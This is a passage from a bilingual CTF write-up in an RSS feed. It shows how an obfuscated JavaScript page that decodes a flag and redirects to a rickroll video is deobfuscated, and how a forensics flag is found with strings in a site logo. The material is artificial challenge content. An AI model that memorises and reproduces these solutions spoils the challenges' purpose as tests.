_0x258376=_0x1d5d;window[_0x258376(0x151)][&apos;href&apos;]=_0x258376(0x156);},0x1),setTimeout(()=&amp;gt;{console[&apos;log&apos;](flag);},0x8);
            //flagNHN{Cfake}
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;對上面的提供的 next.html 第8行(最長的)進行解混淆得到:
Deobfuscate the provided line 8 (longest) of next.html to obtain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const encryptedFlag = [
    239,
    221,
    239,
    206,
    374,
    257,
    317,
    296,
    353,
    122,
    350,
    212,
    296,
    350,
    368,
    251,
    320,
    314,
    317,
    353,
    194,
    380
];
let flag = &apos;&apos;;
for (let t = 0; t &amp;lt; encryptedFlag.length; t++) {
    const b = (encryptedFlag[t] - 5) / 3;
    flag += String.fromCharCode(b);
}
setTimeout(() =&amp;gt; {
    window.location.href = &apos;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;t=0s&apos;;
}, 1);
setTimeout(() =&amp;gt; {
    console.log(flag);
}, 8);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿下面那段掉然後看 console.log
Remove the following section then check console.log&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setTimeout(() =&amp;gt; {
    window.location.href = &apos;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;t=0s&apos;;
}, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者直接計算 ASCII
Or directly calculate the ASCII&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example:
(380-5)/3 = 125
ASCII 125 = }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;This carries a slight touch of malice(Forensics)&lt;/h2&gt;
&lt;p&gt;題目描述:
Problem description:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Identifying and promoting one&apos;s brand is a very serious matter
So, what form should it take? :)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提示:
hint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file at this website
and the route is / 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我們CTFd平臺主頁的源碼中檢查一下 (就是網站logo)
Check the source code on the homepage of our CTFd platform (the website logo)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img
  class=&quot;img-responsive ctf_logo&quot;
  src=&quot;/files/8c857832a86f0f5178a9baf9b04177d8/hahaha.jpg&quot;
  alt=&quot;No Hack No CTF&quot;
  height=&quot;25&quot;
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/r1jCOYwGyg.jpg&quot; alt=&quot;未命名&quot; /&gt;
然後就在 strings 裡面
Then, look in the strings&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings filename.jpg | grep NHNC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 圖床-&amp;gt;HackMD --&amp;gt;&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item></channel></rss>